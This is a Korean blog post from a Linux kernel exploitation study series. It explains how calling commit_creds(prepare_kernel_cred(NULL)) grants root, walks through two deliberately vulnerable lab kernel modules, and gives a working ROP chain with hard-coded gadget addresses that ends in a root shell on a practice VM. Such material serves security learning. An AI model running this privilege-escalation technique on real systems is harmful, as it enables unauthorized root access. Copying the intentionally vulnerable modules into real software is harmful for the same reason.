CIDY
[Linux Kernel] 4. prepare & commit 본문
https://orcinus-orca.tistory.com/241
앞서 task_struct의 cred필드의 euid를 조작해 권한 상승을 해 보았다. 앞선 실습 방식은 gdb내부에서 set명령어를 통해 간단히 조작해 본 것으로, 실제로는 당연히 쓸 수 없는 방법이었다.
하지만 실제로도 커널 취약점을 이용해 cred메모리를 조작할 수 있다면 다른 유저의 권한을 획득할 수 있다. 이를 위해서는 다음 조건이 가능해야 한다.
1. 커널 메모리 상의 현재 tast_struct나 cred구조체의 주소를 알아야 한다.
2. aaw이나 aar가 가능해야 한다.
3. cred구조체는 다른 태스크와 공유되는 자원으로, 임의 변경 시 레이스 컨디션이 발생해서 익스플로잇 안정성을 떨어뜨릴 수 있다. 따라서 실제 커널에서 태스크 신원 정보를 변경할 때에는 cred구조체를 직접 변경하지 않고 기존 구조체를 복사 + 수정한 뒤, 태스크가 복사된 cred를 가리키도록 한다.
이를 위해 prepare_kernel_cred()와 commit_creds()라는 커널 함수를 이용할 수 있다. (직접 cred를 조작하는 것 보다 안정적이다.)
prepare_kernel_cred
struct cred* prepare_kernel_cred(struct task_struct* daemon);
prepare_kernel_cred의 원형이다. 이 함수는 원하는 신원 정보의 cred구조체를 생성하는 함수이다.
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
prepare_kernel_cred함수는 cred.c에서 그 코드를 찾아볼 수 있는데, 위 코드는 해당 함수의 일부이다. get_task_cred함수를 통해 인자로 전달된 태스크 구조체(daemon)의 cred구조체를 old에 할당한다.
struct cred init_cred = {
...
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
...
};
만약 daemon이 null이면 init_cred를 가져오는데, 이건 위 구조체에서 볼 수 있듯이 root의 권한을 나타낸다.
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
*new = *old;
return new;
그런 다음 new를 새로 할당해서 old를 복사하고, new를 반환한다. 만약 이 함수의 daemon값으로 NULL을 전달할 수 있다면 root의 권한을 갖는 cred구조체를 반환할 수 있을 것이다.
요약: prepare_kernel_cred함수는 인자에 NULL을 넣으면 root권한 cred를 반환한다!
commit_creds
int commit_creds(struct cred* new);
commit_creds는 현재 태스크의 신원을 다른 신원(인자로 전달된 new)으로 변경하는 커널 함수로, 위와 같은 원형을 가진다. 이 함수 역시 cred.c에 있다.
struct task_struct *task = current;
우선 현재 태스크 구조체를 가리키는 포인터인 task를 선언한다.
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
그런 다음 인자로 받은 new로 현재 태스크의 신원 정보를 교체한다. (prepare_kernel_cred에서 생성한 new이다.)
즉, commit_creds(prepare_kernel_cred(NULL)); 을 수행하게 되면, prepare_kernel_cred는 root권한의 cred구조체를 반환하게 되는 것이고, 이 구조체는 곧 commit_creds에 전달되어 현재 태스크 권한을 root로 만들 수 있다.
물론 이를 위해서는 커널 권한에서 임의 코드를 실행시킬 수 있고, 위 두 함수의 주소를 알고 있어야 한다.
요약: commit_creds함수는 전달된 cred구조체로 현재 태스크 권한을 설정한다.
lke-eop
/* 모듈 부착(load) 시 호출되는 함수입니다. */
int __init init_module(void)
{
/* /proc/lke-eop 파일을 등록합니다.
*
* S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
* &eop_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
*/
proc_eop = proc_create("lke-eop", S_IWUGO, NULL, &eop_fops);
/* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
* ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
*/
if (!proc_eop)
return -ENOMEM;
/* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
pr_info("loaded\n");
/* 작업이 성공하였음을 나타냅니다. */
return 0;
}
위 코드는 lke-eop모듈의 소스이다. init_module은 모듈 부착(load)시 호출되는 함수이다. proc_create함수를 호출해서 /proc/lke-eop라는 proc파일을 생성한다. (인자로 들어가는 eop_fops는 이 파일을 대상으로 읽기, 쓰기 등 파일 함수를 호출할 때 어떤 함수를 호출할지 지정하는 구조체이다.)
static const struct file_operations eop_fops = {
.owner = THIS_MODULE,
.write = eop_write,
};
이 파일을 대상으로 write를 호출하면 eop_write함수가 호출된다.
static ssize_t eop_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
commit_creds(prepare_kernel_cred(NULL));
return count;
}
eop_write는 앞서 보았던 두 함수를 호출하여 권한을 상승시켜 준다.
이 모듈을 커널에 부착하면 /proc/lke-eop가 생성된다.
그런 다음 bash에서 파일에 데이터를 쓸 때 사용하는 > 를 이용해 /proc/lke-eop에 write를 발생시키면 위와 같이 root권한을 획득할 수 있다.
lke-bof
이번에는 ROP를 이용해 commit_creds(prepare_kernel_cred(NULL))를 호출해보자.
/* 모듈 부착(load) 시 호출되는 함수입니다. */
int __init init_module(void)
{
/* /proc/lke-bof 파일을 등록합니다.
*
* S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
* &bof_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
*/
proc_bof = proc_create("lke-bof", S_IWUGO, NULL, &bof_fops);
/* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
* ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
*/
if (!proc_bof)
return -ENOMEM;
/* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
pr_info("loaded\n");
/* 작업이 성공하였음을 나타냅니다. */
return 0;
}
init_module을 보면 이전과 동일하게 /proc/lke-bof파일을 생성한다.
static const struct file_operations bof_fops = {
/* 소유자 커널 모듈을 나타내어, 파일이 열려 있는 동안에는
* 모듈 탈착(unload)을 할 수 없도록 합니다. */
.owner = THIS_MODULE,
/* 파일 쓰기를 구현하는 함수의 포인터를 지정합니다.
* 해당 파일에 write() 시스템 콜이 실행되면 이 함수가 호출됩니다. */
.write = bof_write
};
이 파일을 대상으로 write시스템 콜이 호출될 경우 bof_write라는 함수가 호출된다.
static ssize_t bof_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
bof_func(buf, count); /* see vuln.S */
return count;
}
bof_write함수는 위와 같은 형태인데, bof_func의 내용은 vuln.s에서 볼 수 있다.
.intel_syntax noprefix
.text
# void bof_func(const char __user *buf, size_t count)
.globl bof_func
.type bof_func, @function
bof_func:
# {
.cfi_startproc
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 0x70
lea rax, .Lleave_ret[rip]
lea rcx, [rsi - 1]
and rcx, ~7
mov [rsp + rcx], rax # *(RSP + ((count - 1) & ~0x7)) = &.Lleave_ret;
mov rdx, rsi
mov rsi, rdi
lea rdi, [rsp - 0x8]
xor eax, eax
call _copy_from_user # copy_from_user(RSP - 8, buf, count);
# }
.Lleave_ret:
leave
.cfi_restore 6
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.size bof_func, .-bof_func
.section .note.GNU-stack, "", @progbits
bof_func를 보면 _copy_from_user함수로 사용자 입력을 커널 메모리에 복사한다. 이 함수는 커널 메모리 주소, 사용자 메모리 주소, 복사할 데이터 크기를 인자로 받는다. 첫 번째 인자로 전달되는 rsp - 8은 _copy_from_user호출 시 ret주소가 저장되는 위치이다. 따라서 AAAAAAAA을 입력할 경우, 0x4141414141414141은 커널 주소가 아니므로 커널 패닉이 발생한다.
이 취약점으로 ROP공격을 해 보자.
커널의 ROP도 일반 바이너리에서의 ROP와 크게 다르지 않다. 필요한 가젯과 심볼 주소를 찾아 잘 연결하면 된다. 현재 사용하고 있는 실습 커널의 경우 KASLR이 적용되지 않아 필요한 주소들을 데려오기만 하면 된다.
심볼 주소는 커널 소스 디렉토리의 System.map파일을 읽거나, vmlinux의 심볼을 읽어 찾을 수 있다.
cat System.map | grep -w -e prepare_kernel_cred -e commit_creds
readelf -s vmlinux | grep -w -e prepare_kernel_cred -e commit_creds
그냥 gdb에서 찾는 게 편한 것 같음
그리고 가젯도 일반 바이너리와 동일하게 ROPgadget해서 찾으면 된다. 라이브러리보다 가젯이 더 많은 것 같다.. 역시 커널..
from pwn import *
xor_edi = 0xffffffff810a1035
mov_rdi_rax = 0xffffffff8148df59
pop_rcx = 0xffffffff81043661
prepare_kernel_cred = 0xffffffff81081716
commit_creds = 0xffffffff8108157b
pay = b""
pay += p64(xor_edi) + p64(prepare_kernel_cred)
pay += p64(pop_rcx) + p64(0)
pay += p64(mov_rdi_rax) + p64(commit_creds)
open("/proc/lke-bof", "wb").write(pay)
가상머신 안에 pwntools설치하고 위와 같이 rop payload를 작성해 주었다. 실행은 잘 되는데 권한 상승이 잘 안 되었다.
>>> from struct import pack
>>> open("/proc/lke-bof", "wb").write(pack("6Q",
... 0xffffffff810a1035, # xor edi, edi ; ret
... 0xffffffff81081716, # <prepare_kernel_cred>
... 0xffffffff81043661, # pop rcx ; ret
... 0x0000000000000000, # [IMM (rcx): 0x0]
... 0xffffffff8148df59, # mov rdi, rax ; rep movsb byte ptr [rdi], byte ptr [rsi] ; ret
... 0xffffffff8108157b # <commit_creds>
... ))
48
>>> import os
>>> os.getuid()
0
>>> os.execlp("bash", "-bash")
root@dh-lke:~#
그래서 위와 같이 python interpreter에 직접 입력해 주었더니 됐다.
무슨 차이인지 모르겠지만 일단 납득.. 나중에 알아봐야겠다.
Ref.
https://dreamhack.io/lecture/courses/61
'Hack > Kernel' 카테고리의 다른 글
[Linux Kernel] 6. ret2usr (0) | 2023.07.26 |
---|---|
[Linux Kernel] 5. Kernel Leak (0) | 2023.07.25 |
[Linux Kernel] 3. KASLR (0) | 2023.07.25 |
[Linux Kernel] 2. Kernel Debugging (0) | 2023.07.25 |
[Linux Kernel] 1. QEMU (0) | 2023.07.25 |